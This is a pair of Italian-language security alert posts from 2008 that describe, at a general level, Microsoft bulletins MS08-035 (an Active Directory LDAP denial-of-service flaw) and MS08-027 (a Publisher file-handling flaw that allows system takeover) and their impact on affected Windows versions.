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Alert GCSA-08056 – MS08-035 Vulnerabilita’ in Microsoft Windows

Inserito da 13 Giugno, 2008 (0) Commenti

Si tratta di :Sicurezza

Descrizione del problema

E’ stata riscontrata una vulnerabilit in Windows Active Directory
che potrebbe essere sfruttata da un utente malintenzionato per provocare un
attacco DoS.

La vulnerabilita’ e’ dovuta ad un errore di tipo input validation durante
l’elaborazione di richieste LDAP (Lightweight Directory Access Protocol)
appositamente predisposte, nell’implementazione di Active Directory in
Microsoft Windows 2000 Server, Windows Server 2003 e Windows Server 2008,
di ADAM (Active Directory Application Mode) se installato in Windows XP
Professional e Windows Server 2003 e di AD LDS (Active Directory Lightweight
Directory Service) se installato in Windows Server 2008.

L’attaccante potrebbe sfruttare la vulnerabilita’ impedendo al sistema
di rispondere alle richieste o forzandone il riavvio automatico.

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Alert GCSA-08046 – MS08-027 Vulnerabilita’ in Microsoft Publisher

Inserito da 14 Maggio, 2008 (0) Commenti

Si tratta di :Sicurezza

Descrizione del problema

E’ stata individuata una vulnerabilita’ in Microsoft Office
Publisher che potrebbe essere sfruttata da un attaccante remoto per
causare condizioni di denial of service o prendere il completo
controllo di un sistema vulnerabile. La vulnerabilita’ e’ causata da
un errore presente nel modulo di convalida dei dati
dell’intestazione di un oggetto e puo’ essere sfruttata inviando un
file Publisher appositamente predisposto che potrebbe essere
contenuto in un allegato di posta elettronica o ospitato su un sito
Web appositamente predisposto o manomesso.

Se un utente e’ connesso con privilegi di amministrazione, un utente
malintenzionato che sfrutti questa vulnerabilita’ puo’ assumere il
controllo completo del sistema interessato. Potrebbe quindi
installare programmi e visualizzare, modificare o eliminare dati
oppure creare nuovi account con diritti utente completi. Pertanto,
gli utenti con account configurati in modo da disporre solo di
diritti limitati sono esposti all’attacco in misura inferiore
rispetto a quelli che operano con privilegi di amministrazione.

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